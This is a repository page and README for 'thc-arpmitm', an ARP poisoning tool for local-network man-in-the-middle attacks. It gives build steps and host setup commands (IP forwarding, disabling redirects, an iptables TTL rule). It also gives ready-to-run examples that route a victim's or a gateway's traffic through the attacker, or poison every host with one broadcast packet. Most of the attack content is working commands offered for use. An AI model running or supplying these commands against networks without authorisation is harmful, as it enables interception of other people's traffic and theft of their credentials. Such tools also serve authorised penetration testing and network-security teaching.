ARP Man-in-the-Middle tool
  • C 86.9%
  • M4 9.4%
  • Shell 3.2%
  • Makefile 0.5%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
2026-06-16 01:37:16 -03:00
releases release 2020-04-21 11:34:21 +00:00
agmh.txt Mirroring with AGMH v0.4.1 2026-06-16 01:37:16 -03:00
bootstrap bug fixes for arp-an linux 2020-04-20 16:16:14 +01:00
common.h MacOS port 2020-04-20 16:06:38 +01:00
configure.ac release 2020-04-21 12:24:05 +01:00
Makefile.am auto mode for dummies. 2020-04-20 14:57:23 +01:00
README.md Update README.md 2024-12-17 14:40:07 +00:00
thc-arpmitm.c release 2020-04-21 12:24:05 +01:00
utils.c bug fixes for arp-an linux 2020-04-20 16:16:14 +01:00
utils.h auto mode for dummies. 2020-04-20 14:57:23 +01:00

ARP Man-in-the-Middle

A tool to redirect hosts on a local network to your own computer (to intercept the traffic - aka ARP poisoning).

Direct Download: https://github.com/hackerschoice/thc-arpmitm/tree/master/releases

Install:

./configure --enable-static \
&& make all

Setup:

echo 1 >/proc/sys/net/ipv4/ip_forward
echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects
iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
iptables -L FORWARD -vn

Example 1:

Redirects all traffic between the target '10.0.1.111' and the Internet through us.

arpmitm -t 10.0.1.111

Longer version doing exactly the same:

arpmim -v 00:02:13:37:73:50 10.0.1.254:11:11:22:22:33:33 10.0.1.111:44:44:55:55:66:66

Example 2:

Tell the gateway (10.0.1.254) to redirect all traffic destined for .111 and .222 via us (00:02:13:37:73:50). Traffic from .111/.222 towards the gaterway is not redirected (-A).

arpmim -v -A 00:02:13:37:73:50 10.0.1.254:11:11:22:22:33:33 10.0.1.111 10.0.1.222

Example 3:

Use 1 broadcast packet to tell everyone that 10.0.1.254 is us.

arpmitm 00:02:13:37:73:50 255.255.255.255 10.0.1.254

Example 4 the bold:

Redirect all local traffic between the 4 hosts through us.

arpmitm -A 00:02:13:37:73:50 255.255.255.255 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4

Features:

  • Auto-Mode
  • Broadcast Mode: Send 1 ARP-broadcast to ALL hosts and redirect ALL hosts with a single packet (be warned!)

Supported Platforms:

  1. Linux
  2. MacOS
  3. FreeBSD

Changelog:
2000 Internal team-teso release by xdr/skyper
2001 Leaked to the public
2020 Resurrection. Portability and added AUTO-MODE for beginners.
2040 stay tuned!!!

shoutz 👍 #oscar, ADM